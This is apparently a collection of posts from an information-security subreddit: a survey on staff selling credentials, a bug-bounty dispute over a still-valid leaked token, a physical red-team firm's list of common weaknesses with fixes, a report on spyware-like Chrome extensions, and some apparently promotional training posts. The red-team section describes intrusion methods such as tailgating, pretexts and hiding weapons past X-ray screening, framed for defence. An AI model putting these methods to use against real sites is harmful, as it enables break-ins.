r/Information_Security

A new report from Cifas found that 13% of surveyed workers have either sold their company login details in the past year or personally know someone who has, which is already a pretty uncomfortable number, but it's not disgruntled junior employees feeling underpaid and overlooked doing it, it's the people at the top.

32% of senior managers, 36% of directors, 43% of C-suite executives, and a genuinely baffling 81% of business owners consider selling company credentials to be "justifiable," usually under the assumption that it's harmless one-time access - as if handing someone a working set of login details doesn't give them the exact same trusted access as any legitimate employee on the network.

And the timing couldn't be worse, because with economic pressure mounting, AI threatening jobs, and redundancies becoming more common, the temptation to make a quick payout by selling access to your employer's systems is only going to grow and most companies aren't built to catch it, especially when the person doing it is the one who's supposed to be setting the security culture in the first place.

Multi-factor authentication helps, but it's a bit of a band-aid when the person handing over the credentials is the CEO. At what point does this become something companies actually train for, or is "don't sell your login details" still somehow assumed to be common sense?

Yesterday, I received a phone call from a CISO for a position I’d interviewed for. First thought was: braced myself for the standard automated rejection email, but instead, he told me directly that the role went to another candidate and walked me through exactly why they made that choice. I was - What?

He went out of his way to highlight what I did well and told me that based on my qualifications, I'd land something similar very soon. Again - he didn't need to do that...

In over a decade in IT and security, I have never had an external CISO who doesn't know me take the time to deliver that kind of personal, candid, sincere feedback.

Has anyone else experienced this lately, or is this level of transparency officially extinct?

Honestly, yes especially for beginners who don’t have IT experience. The cyber security market is growing fast, but companies still want practical skills. A good training program with placement assistance at H2K Infosys helps you learn tools like SIEM, Splunk, Wireshark, and vulnerability management while also preparing you for interviews and resume building.

A lot of self-paced courses teach theory only. The difference with placement-focused programs is that they guide you toward real SOC analyst or junior security roles. If the course includes live projects, mock interviews, and recruiter support, it can shorten the learning curve significantly.

Hi everyone,

I submitted a report to a public Bugcrowd program (Lightspeed Retail / Ecwid scope) regarding an active historical API token exposure that allowed authenticated administrative API access.

How it was discovered:
While performing normal recon using waybackurls against in-scope assets, I discovered a historical endpoint response containing an API token.

What happened next:

• The token was still valid against the target’s live in-scope API.
• It allowed authenticated administrative API requests.
• I provided proof of successful live access.

The report was marked Not Applicable with the explanation that third-party indexed exposures (e.g. VirusTotal, Wayback Machine, Telegram, etc.) are considered external causes and not security risks originating from the program.

My confusion is that my intended impact was not the historical indexing itself, but rather:

• The credential remained active after historical exposure
• It granted live privileged administrative access
• It appears no revocation / rotation occurred

So my question for triagers / experienced hunters:

Would this still normally be considered out-of-scope simply because discovery originated from historical indexing?

Or could this reasonably be argued as a credential lifecycle / secret revocation failure instead of just “third-party exposure”?

If disputing this decision, what technical evidence would best support reconsideration?

Would you:

• Politely request reconsideration with stronger framing?
• Re-submit under a different vulnerability class?
• Accept closure and move on?

Any triager-side perspective would be appreciated.

Over the past years we’ve run multiple physical red teaming / penetration tests on large office buildings, public‑sector facilities, data‑sensitive agencies and data centres across Europe. Different clients, different layouts, but the same patterns keep coming back. We, at Cocoon Risk Management, an independent risk management firm in The Netherlands, are specialized experts in physical red teaming and penetration tests.

Below are recurring weaknesses that show up across many sites, and what actually helps to fix them.

1. Tailgating and “I’m here to fix X”

Even with modern access control (speedgates, turnstiles, card readers), getting in behind someone is often trivial:

• During lunch or rush hours, auditors could simply walk in with the crowd and pass speedgates without using a badge.
• On secured office floors, following catering staff or employees through inner speedgates worked repeatedly.
• At several sites, doors to “more secure” areas could be reached by using an unattended badge found on a desk or in a bag.

Nobody challenged our auditors, and security didn’t act on tailgating visible on camera.

What helped:

• Enforcing a strict “no badge, no entry” principle at all layers, including inner doors.
• Training staff and reception/security to treat tailgating as a security breach, not as politeness.
• Using anti‑tailgating portals or logical monitoring (alarms on multiple passages per authorisation) and making sure guards respond.

2. Unchallenged strangers and weak social control

In many tests, once auditors were past the first barrier, they could move around for a long time without being questioned:

• Auditors in clearly “out‑of‑place” clothing (e.g. activist T‑shirts, inspectors’ vests, contractor polos) walked around secure office floors for 20+ minutes to several hours, taking pictures of screens and staff, without anyone speaking to them.
• Presenting a simple pretext (“we’re here for an inspection”, “we’re checking the ceiling”, “we’re from the real‑estate agency”) was usually enough to pass informal checks.
• Staff often assumed: “if someone is in this area, they must belong here”.

What helped:

• Security awareness focused on social control, not just phishing:
  • Teach “security questioning”: who are you, who is your contact, what are you here to do, how can we verify?
  • Make it normal (and expected by management) to challenge unknown faces politely.
• Making clear that a badge alone is not proof; unknown badge‑holders can still be intruders.

3. Unattended and unlocked assets

Across office environments we consistently see:

• Unlocked, unattended workstations and laptops on desks and in meeting rooms.
• Access badges left on desks, in jackets or bags in semi‑public areas.
• Keys, visitor passes and sometimes system diagrams lying in open cabinets or on trolleys in post or file rooms.

In data‑sensitive environments this is enough to:

• Install tools or grab credentials from an unlocked machine.
• Clone or simply use a found badge to reach “extra secure” zones.
• Map critical assets and internal structure without any scanning.

What helped:

• Enforcing screen lock and badge discipline, backed up by regular walk‑throughs and feedback, not only policy documents.
• Moving sensitive paper handling (post, case files, financial documents) into locked rooms with access logging.
• Treating any found badge or key as an incident, not as “someone will come back for it”.

4. Scan lanes and screening that miss obvious threats

In several high‑security style environments, we tested X‑ray lanes and access screening:

• Disassembled weapons in a backpack passed the X‑ray more than once.
• Tools like a screwdriver concealed in an umbrella were not noticed.
• Behaviour outside the entrance (loitering, rummaging in a bag) was either not seen, or seen but not treated as suspicious; no message was passed to the screening staff.

What helped:

• Additional practical X‑ray training focused on recognising parts of weapons, improvised devices, and unusual item combinations – not just the basic vendor course.
• Clear procedures for what to do when something “might be suspicious” so staff do not hesitate.
• Linking camera operators and lane staff: if someone behaves oddly outside, lane staff are explicitly alerted and pay extra attention to that person’s belongings.

5. Construction sites, shared sites and suppliers as the weak link

At mixed or expanding sites (e.g. a running facility plus a new building project) we repeatedly saw:

• Construction gates where workers, inspectors or “technicians” could get a site pass without proper ID or verification of a work order.
• Guards or site staff who recognised “regular contractors” and waved them through without checks.
• New buildings where internal secure rooms were protected by access control, but perimeter control was lax, so an intruder could roam freely in non‑commissioned areas and reach server or plant rooms through open doors.

What helped:

• Treating construction phases and neighbouring properties as part of the security perimeter in risk assessments and controls.
• Strict ID and work‑order verification for all external staff, even those “who come here every week”.
• Clear escort rules and signing‑in / signing‑out of contractors and inspectors.

6. Outer perimeter: “detected” is not the same as “protected”

At one high security site, we tested roof access via a neighbouring parking structure:

• A simple car jack was used to lift high‑voltage wires enough to crawl under and reach the roof.
• The perimeter motion detector triggered correctly and alerted security.
• It then took about 10 minutes for guards to reach the roof access point.
• None of the guards carried a flashlight, making effective searching almost impossible, and allowing auditors to sneak up on them.

What helped:

• Making sure response plans and equipment match the detector:
  • Time targets to reach alarm locations.
  • Mandatory gear (flashlight, communication, PPE) for every patrol.
• Assessing and securing access from neighbouring structures (parking decks, adjacent roofs) as seriously as direct fence lines.

7. Information leakage through acoustics and paper

Even where access control was decent, information often leaked through:

• Non‑sound‑proof meeting rooms where sensitive discussions could be followed word‑for‑word from hallways.
• Open post and file areas in corridors with confidential case files, subsidy dossiers or internal HR paperwork visible and accessible.
• Whiteboards with sensitive notes or diagrams in rooms with glass walls.

What helped:

• Improving acoustic separation or changing how sensitive meetings are scheduled and where they are held.
• Moving sensitive post and files into closed rooms; limiting who can enter and logging access.
• Adopting a clean‑desk / clean‑wall approach for anything that identifies crown‑jewel systems, people or cases.

 

What security teams can do with this

If you’re primarily on the cyber or policy side, a few practical takeaways:

• Include basic physical intrusion paths in your threat models. Don’t assume “inside is trusted”.
• Run at least one joint exercise with facilities / physical security:
  • Can someone walk in, reach a core switch, a data‑bearing system, a scan lane, or a critical office without being stopped?
• Harden critical assets assuming semi‑legitimate physical presence:
  • Locked racks and rooms for critical equipment.
  • Full‑disk encryption and secure boot.
  • Network monitoring that flags new devices on sensitive segments.
• Make awareness and procedures tangible:
  • Use anonymised photos and timelines from tests (tailgating, found badges, unlocked screens) to make it real for staff.

I’m interested in how this compares to what others see:

• Do you run physical components in your red teaming, and what do you most often exploit?
• Have you found specific controls or training formats that genuinely changed behaviour (not just ticked the box)?

 

Let’s make the world a safer place.

From leaked passwords to data brokers selling personal information, people are realizing how little control they actually have over their digital lives. Modern cybersecurity threats are no longer just about hackers breaking in companies, AI tools, browser extensions, and cloud services are quietly collecting massive amounts of user data every day.

126 Chrome extensions, all secretly the same product, taking 148K users' WhatsApp data and ad cookies

A Brazilian company (wascript.com.br) runs one platform that 126 different Chrome extensions all share. They look like separate products, WaSeller, waTidy, FR VENDAS PRO, ENOCRM, Cliente Flow, and dozens more, but it's one codebase, one backend, one set of hidden behaviors.

WaSeller alone has 100K users.

I found this network using my own tool for detecting malicious browser extensions, which flagged the cluster by shared code and infrastructure across all 126 listings.

None of the listings tell you that:

* When you log into WhatsApp Web, the extension sends your name, email, device ID, and your Facebook/Google/TikTok tracking cookies to a server run by whoever sold you the extension.

* Every voice message you send goes through their servers before it reaches the person you're sending it to.

* The extension downloads and runs JavaScript from a different Brazilian company's server. Google never checks this code.

* The 100K-user version has a live Google Tag Manager tag built in. The operator can push any new code to every user from a dashboard with no Chrome Web Store update.

* A bridge inside WhatsApp Web gives the extension full access to your contacts, your messages, and the ability to send messages as you.

No privacy policy on any listing. The manifest only asks for `tabs`, `storage`, `alarms`.

Full list of all 126 extension IDs (check if you have one), tech details, and IOCs

Hey all, looking for some practical, real-world advice on vendor risk assessment. I work at a small company in a non-regulated industry and handle vendor risk assessment as part of my job.

We currently have quite a lot of vendors onboarded and are now starting to think about the risks we may have, but have no idea what we actually need to check before letting a vendor in. What's the stuff you'd feel genuinely uncomfortable skipping, versus the stuff that's just box-ticking that nobody actually uses?

Is there a short questionnaire you've settled on? A handful of contract clauses you always insist on? Specific red flags in vendor responses that make you walk away? Anything that has saved you in hindsight?

We're trying to set up a simple workflow — something where if something goes wrong, we can at least show we did the reasonable and sensible things given our size and constraints.

Appreciate any real-world experience are willing to share. Thanks in advance!

npm supply chain attacks are no longer “theoretical”.

TanStack. Axios. Trivy. Bitwarden. SAP. Intercom.

Attackers are abusing:

• GitHub Actions
• OIDC tokens
• npm lifecycle hooks
• trusted CI/CD pipelines

We built an AI-assisted hunting pipeline to detect the behavioral kill chain behind these attacks instead of chasing IOC crumbs.

Real queries. Real telemetry pitfalls. Real lessons learned.

My husband and I are separating but I have to stay in the house for now and have my own room. I want to be able to feel comfortable here but every single camera I try to install is being blocked in some way or another. He pays for the internet and controls what connects to the network, so fine; I have tried cameras with their own networks, SIM cards, even a go pro camera. Without fail, at some point even if they do connect for a short time they get knocked off. Not only that but every rechargeable or battery operated cameras battery gets completely depleted even if charging when I try to turn it on. How is this possible. I’m calling vivent security tomorrow morning but I’m not sure if they will do just one camera in a single room or not. I’ know he sneaks a chick in the house, but why go through this much trouble when separating?

Depends on your learning style honestly.

If you prefer self-paced learning, platforms like Udemy and Coursera are affordable and flexible. But many beginners struggle because there’s no structured guidance or interview preparation.

For more career-focused learning, I’ve seen people mention H2K Infosys, EC-Council, and CompTIA because they include practical labs, resume support, and real-time case studies.

A friend of mine switched from networking into cybersecurity after taking instructor-led SOC training through H2K Infosys. According to him, practicing log analysis and incident investigation helped more than memorizing exam questions.

The biggest thing is consistency. Even the best course won’t help if you never practice.